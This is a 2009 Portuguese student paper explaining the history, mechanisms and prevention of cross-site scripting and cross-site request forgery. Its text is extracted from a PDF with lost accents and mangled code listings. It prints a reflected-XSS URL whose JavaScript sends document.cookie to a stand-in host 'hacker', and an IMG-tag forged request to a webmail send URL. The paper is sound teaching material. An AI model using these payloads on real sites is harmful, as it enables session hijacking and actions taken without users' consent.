Cross-Site Scripting & Cross-Site Request ForgeryJohnny Souza 04/85942 Universidade de Bras lia Departamento de Cincia da Computaao e c Segurana de Dados, 1/2009 c 15 de junho de 2009Resumo Este trabalho aborda a histria e os mecanismos bsicos de ataques o a Cross-Site Scripting e Cross-Site Request Forgery por meio de exemplos com cdigo fonte funcional. o

1

Introduo ca

As denies de Cross-Site Scripting (XSS) e Cross-Site Request Forgery co (CSRF ou XSRF) so frequentemente confundidas e `s vezes tratados at como a a e o mesmo tipo de ataque [8]. Um aspecto muito importante para a diferenciao correta destes dois tipos ca de ataque a conana. Quanto um usurio acessa um site dispon atravs e c a vel e da Internet, este usurio cona que todo o contedo recebido originrio (e a u e a leg timo) do servidor no qual est hospedado o site acessado. A conana a c tambm observada na via contrria, ou seja, o servidor cona que foi o usurio e e a a que fez a requisio intencionalmente e a atende. ca Os ataques XSS tiram proveito da conana que o usurio tem no servidor[1, c a 8] e atuam inserindo contedo alheio ` pgina esperada, esse contedo pode ir u a a u desde informaes falsas, at a cdigos HTML e/ou JavaScript que podem ser co e o usados para realizar ataques CSRF[1]. J os ataques CSRF se apiam na conana que o servidor de um site, a o c ou aplicao Web, tem de que o usurio que efetivamente est realizando ca e a a as requisies e que o faz conscientemente[1, 8]. Atuam atravs de cdigos co e o maliciosos, forjando requisies e simulando navegaes pelo site[1] sem que o co co usurio perceba, de forma silenciosa[6]. a 1

Ao contrrio do que pode parecer, o CSRF no um ataque que burla a a a e autenticao do usurio. Ele ocorre aps a autenticao fazendo requisies ao ca a o ca co site como se fosse o usurio, porm sem que o usurio perceba. a e a

22.1

Histrico oThe Confused Deputy

Em 1988, Norm Hardy publicou um artigo[7] abordando uma falha de conana na camada de aplicao[1]. O artigo [7] descreve um fato ocorrido por c ca volta de 1977 em uma companhia de time sharing, a TymShare. Essa companhia possu um sistema de cobrana baseado no tempo de uso a c de seu compilador que era compartilhado entre vrios usurios. O tempo de uso a a por usurio era registrado, para ns de faturamento, em um arquivo ao qual a somente o processo do compilador tinha acesso. O controle de acesso a este arquivo era feito pelo sistema operacional em uso. Uma da funcionalidades desse compilador era a possibilidade de especicar um arquivo no qual o compilador escrevia informaes de debug sobre o proco grama compilado. Fazendo uso desse mecanismo de debug, algum usurio que a conhecia o path do arquivo que armazenava os registros de tempo de uso, direcionou a sa das informaes de debug para esse arquivo, sobrescrevendo da co todas as informaes que seriam usadas para cobrana dos clientes. co c Como o processo que estava acessando o arquivo com os registros de tempo de uso o processo do compilador o sistema operacional, confuso, no bloqueou e a o acesso indevido.

2.2

Cross-Site Request Forgery

Em 2000, foi publicada uma descrio de como o servidor de aplicaes ZOPE ca co era afetado por um problema do tipo confused-deputy que ocorria atravs da e Web, onde poss induzir o navegador a fazer requisies a um site no qual e vel co o usurio havia se autenticado previamente[6]. a Em 2001, Peter W. utilizou o termo Cross-Site Request Forgery para descrever um ataque muito semelhante ao descrito em [6] que utilizava o atributo SRC das tags IMG para fazer as requisies maliciosas[10]. co E um tema que no frequentemente abordado em artigos acadmicos e puba e e licaes de tecnologia, porm considerado por [11] como um gigante adormeco e e cido dentre os bugs da Internet.

2.3

Cross-Site Scripting

O aparecimento das vulnerabilidades do tipo Cross-Site Scripting remete para 1996 durante o inicio da expanso da Internet, sites divertidos usando a 2

frames HTML e o surgimento do e-commerce e da linguagem JavaScript. O JavaScript trouxe muitas mudanas a Web, proporcionando aos usurios interc a faces interativas e aos hackers um novo mundo de possibilidade inexploradas. [4] A primeira, e mais simples, forma de explorao foi a possibilidade de cdigos ca o JavaScripts serem capazes de ultrapassarem a fronteira do frame em que esto a contidos e poderem acessar informaes de outros frames. Dessa forma, scripts co de um site podem atuar sobre informaes de outro site, acessar dados digitados co em formulrios (inclusive senhas) e roubar cookies. Esse fato foi divulgado pela a imprensa como uma vulnerabilidade dos navegadores [4]. Em Janeiro de 2000, Microsoft, CERT, Apache e outros fornecedores de software se reuniram em Washington para discutir o conceito desse tipo de ataque[4]. Como resultado dessa reunio foram publicados os artigos [3], [5] e a [9] nos quais o termo Cross-Site Scripting denido em comum acordo para e designar essa vulnerabilidade, apresentado, tambm, uma descrio detalhada e e ca do problema incluindo at exemplos de cdigo fonte. Inicialmente Cross-Site e o Scripting passou a ser conhecido pela sigla CSS, porm isso causou grande e confuso com o recm criado Cascading Style Sheets (tambm CSS) at que a e e e algum, nos primeiros anos da dcada de 2000, sugeriu o acrnimo XSS para e e o evitar confuses[4]. o A grande maioria dos especialistas em seguranas e desenvolvedores no c a davam muita ateno ao XSS. Enquanto se ocupavam com rewalls e Secure ca Socket Layer (SSL), pensavam que JavaScript (que possibilita o XSS) era uma linguagem de programao para brincadeiras. Como se acreditava que os ca danos no poderiam ser grandes, no havia motivo para se preocupar. At que a a e em outubro de 2005, o Samy Worm derrubou o MySpace[4], uma das redes sociais mais populares da poca. e

33.1

Tcnicas eCSRF

A gura 1 mostra o esquema bsico de ataques CSRF. a Como precondio para que um ataque de CSRF seja bem sucedido, o ca usurio deve previamente ter efetuado login em um site convel que faa auta a c enticao impl 1 . O sucesso do ataque no depende do tipo de autenticao, ca cita a ca podendo ser autenticao bsica HTTP ou utilizando cookies com ou sem uso ca a de SSL[11, 6]. Quando um usurio leg a timo (A) apresenta suas credenciais de identicao perante um site leg ca timo (B), o site passa a conar que todas as requisies feitas atravs do mesmo navegador utilizado por A so leg co e a timas[11].1 Autenticao expl ca cita requer que o usurio informe o usurio e senha a cada requisio, a a ca o que causa grandes danos a usualididade `

3

Figura 1: Ataque CSRF J com a sesso autenticada, se o usurio visitar um Web site mal intena a a cionado (M), este site pode induzir o navegador de A a fazer uma requisio a ca B sem que A tenha conscincia disso, forjando uma requisio. Ao fazer essa e ca requisio o navegador de A utiliza a sesso autenticada previamente aberta, ca a inclusive criptografando a requisio caso SSL esteja em uso. ca Dessa forma, o navegador de A faz uma requisio forjada, e o site B a ca atende como se ela fosse leg tima e do interesse de A. Em ataques CSRF, tudo parece legitimo porque tudo efetivamente leg e timo, exceto a inteno[8]. ca Os meios comumente utilizados para forjar uma requisio so recursos do ca a HTML (tags IMG, por exemplo) ou de JavaScript. No exemplo retirado de [11], descrito um servio de WebMail (localizado em B) no qual A pode enviar e c mensagens de email atravs do formulrio: e a1 R e c i p i e n t s Email a d d r e s s : S u b j e c t : Message :

6

Listing 1: Formulrio de envio de email a Como o formulrio utiliza o mtodo GET, quando o usurio A clica em Send a e a Email, o navegador codica os campos do formulrio e faz uma requisio direta a ca a ` URL: http://example.com/send_email.htm?to=carol%40example.com& subject=hello&msg=What%27s+the+status+of+that+proposal%3F Sabendo desses detalhes, M pode colocar em uma de suas pginas uma tag a IMG como a seguinte: 4

3

Listing 2: Cdigo malicioso o Quando A acessar essa pgina, o navegador ir requisitar a B a URL especia a cada no atributo SRC da tag IMG com o intuito de obter uma imagem para mostrar para A, porm s ser poss e o a vel saber que no h uma imagem nessa a a URL quando B enviar uma reposta, ou seja depois que a ao j foi executada ca a (neste caso o envio de um email) sem o conhecimento e concordncia do usurio a a A. Caso o servidor s aceite requisies com dados enviados via POST, neo co e cessrio utilizar JavaScript para forjar um POST, apenas aumenta um pouco a a diculdade, mas no impede o ataque. Um fato importante de mencionar que a e grande parte dos servidores aceitam tanto requisies POST quanto GET,ou co seja, mesmo que o formulrio utilize o mtodo POST, o ataque pode ser feito a e utilizando o mtodo GET. e

3.2

XSS

A maioria dos ataques XSS tem como mecanismo bsico o envio de cdigo a o HTML ou JavaScript em campos de entrada de formulrios que no so validaa a a dos. O campo mais utilizado para este m o campo de busca em sites. e No exemplo abaixo, retirado de [4], demonstrado um ataque capaz de e roubar um cookie do usurio. a Suponha um sistema de e-commerce que utilize autenticao por cookie. ca Para efetuar compras nesse site, os usurios realizam autenticao mediante a ca apresentao de nome de usurio e senha e recebem um cookie com o ID da ca a sesso. a Nesse site existe um formulrio de busca de produtos que utiliza o mtodo a e GET e no validada a entrada dos usurios. Aps um usurio entrar um termo a a o a de busca, na pgina de resposta exibido o termo utilizado na busca e os a e poss veis resultados. Como j foi mostrado anteriormente, uma requisio feita atravs de um a e ca e formulrio codicada em uma URL. Dessa forma, uma URL preparada como a e a mostrada baixo capaz de simular uma requisio. e ca http://e-commerce/search?q=var+img=new+Image(); img.src="http://hacker/"%20+%20document.cookie; Como resposta, o servidor envia uma pgina com o resultado da busca cona tendo o seguinte trecho de cdigo: oSorry , no s e a r c h r e s u l t s found f o r

5

2

v a r img=new Image ( ) ; img . s r c= h t t p : / / h a c k e r / + document . c o o k i e ;

Listing 3: Resultado de busca e roubo de cookie O cdigo acima possui um trecho em JavaScript que, quando executado, o e envia para o computador de nome hacker os cookies referentes a este site, inclusive o de autenticao. ca Como o cookie solicitado de fato da pgina sendo exibida, o navegador e a no faz nenhum tipo de restrio de acesso ao mesmo, permitindo que o cdigo a ca o malicioso envie a informao para hacker. ca Para efetivar esse ataque, preciso divulgar o link para essa URL por email, e mensagem instantnea ou site na Internet. Como um link para um site a e convel e parece ser inofensivo (principalmente para usurios desatentos), a a com um pouco de engenharia social, ser clicado facilmente. Caso algum desses a usurios possuam uma sesso autenticada no momento em que clicam no link, a a ter o ID da sua sesso roubado. a a Outra forma de XSS, que conhecida como persistente, mais simples e e e consiste de enviar cdigo malicioso que salvo pelo site v o e tima e exibido posteriormente para outros usurios. Isso pode ser feito em comentrios de blogs, a a mensagens de email e mensagens em fruns, por exemplo. o

3.3

XSS + CSRF

Buy one XSS, get a CSRF for free Johann Hartmann apud [4] Os dois ataque so frequentemente utilizados em conjunto, por exemplo, a pode-se inserir cdigo (XSS) que faa uma requisio (CSRF). Suponha um o c ca sistema de frum vulnervel, no qual um usurio mal intencionado envie uma o a a mensagem e nela inclua cdigo capaz de forjar uma requisio para excluir a o ca conta de um usurio, quando os usurios v a a timas acessarem essa mensagem, tero suas contas apagadas. a Outra possibilidade explorar a vulnerabilidade de XSS de um site conhecido e como ataque precedente a um ataque de CSRF em outro site, isso alm de e aumentar o nmero de v u timas, diculta o rastreamento do autor do ataque.

4

Preveno ca

Para o usurio nal muito dif a e cil, seno imposs a vel, proteger a si mesmo de ataques XSS enquanto estiver on-line mesmo com todas as atualizaes e co conguraes de segurana[8]. Uma ao efetiva desabilitar o JavaScript, co c ca e porm atualmente isso impraticvel, h um nmero muito grande de sites que e e a a u fazem uso intensivo de JavaScript, como sistemas em Ajax.

6

A proteo contra XSS deve ser feita do lado do servidor, com o desenca volvimento de aplicaes que implementem tcnicas ecientes de ltragem de co e formulrio e parmetros fornecidos via URL. a a Os ataques de CSRF so de simples diagnstico, simples explorao e simples a o ca soluo. Eles existem porque os desenvolvedores no so educados sobre a causa ca a a e seriedade de ataques CSRF.[11] A proteo contra CSRF pode ser feita efetivamente do lado do servidor, e ca o usurio pode tomar uma srie de medidas para proteger a si mesmo de muitos a e tipos de ataques CSRF mesmo que o site no tenha a devida proteo. [11] a ca As tcnicas de proteo contra CSRF so bastante simples e de baix e ca a ssimo custo computacional. Do lado do servidor, a utilizao de tokens pseudoca randomicos em todos os formulrios para vericao no ato de submisso, garana ca a tem satisfatoriamente que a requisio foi feita pelo usurio. Do lado do cliente ca a a proteo pode ser feita por uma mudana nos hbitos de navegao, por exca c a ca emplo, no navegar por outros sites enquanto possuir uma sesso autenticado a a em um site que possa ser alvo de ataques (sites de bancos, dentre outros) e sempre encerrar a sesso antes de deixar o site. a Alguns frameworks j implementam medidas de preveno contra os dois a ca tipos de ataques, porm, nem todos[11]. e

5

Concluso a

O potencial desses dois tipos de ataques grande, maior ainda quando eles e so combinados, e apesar de serem bastante conhecidos, existem muitos dea senvolvedores que conhecem apenas supercialmente os mecanismos e a teoria desses ataques, logo no so capazes ou no tem interesse/motivao para proa a a ca jetar/implementar sistemas que tenham alguma proteo contra os mesmos. ca O campo do XSS/CSRF muito amplo e ainda pouco explorado, freqente e e u hackers surpreenderem a comunidade de tecnologia da informao com um novo ca mtodo de ataque. O estudo e conhecimento sobre os ataques por aqueles que e esto envolvidos com sistemas Web imprescind a e vel para que os mesmos se tornem obsoletos ou inecazes contra sistemas preparados[4].

Referncias e[1] Robert Auger. The cross-site request forgery http://www.cgisecurity.com/csrf-faq.html, April 2008. (csrf/xsrf) faq.

[2] Adam Barth, Collin Jackson, and John C. Mitchell. Robust defenses for cross-site request forgery. In CCS 08: Proceedings of the 15th ACM conference on Computer and communications security, pages 7588, New York, NY, USA, 2008. ACM.

7

[3] CERT. Advisory ca-2000-02 malicious html tags embedded in client web requests. http://www.cert.org/advisories/CA-2000-02.html, February 2000. [4] Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, and Petko D. Petkov. XSS Attacks: Cross Site Scripting Exploits and Defense. Syngress Publishing, 2007. [5] Apache Software Foundation. Cross site scripting info, February 2000. [6] James Fulton. Clientsidetrojan. http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan, 2000. [7] Norman Hardy. The confused deputy (or why capabilities might have been invented). ACM SIGOPS Operating Systems Review, 22:3638, 1994. [8] Gary McGraw. Silver bullet talks with jeremiah grossman. IEEE Security and Privacy, 7(2):1014, 2009. [9] David Ross, Ivan Brugiolo, John Coates, and Michael Roe. Cross-site scripting overview, February 2000. [10] Peter Watkins. Cross-site request forgeries (csrf, pronounced sea surf). http://www.tux.org/ peterw/csrf.txt, June 2001. [11] William Zeller and Edward W. Felten. Cross-site request forgeries: Exploitation and prevention. http://citp.princeton.edu/csrf/, October 2008.

8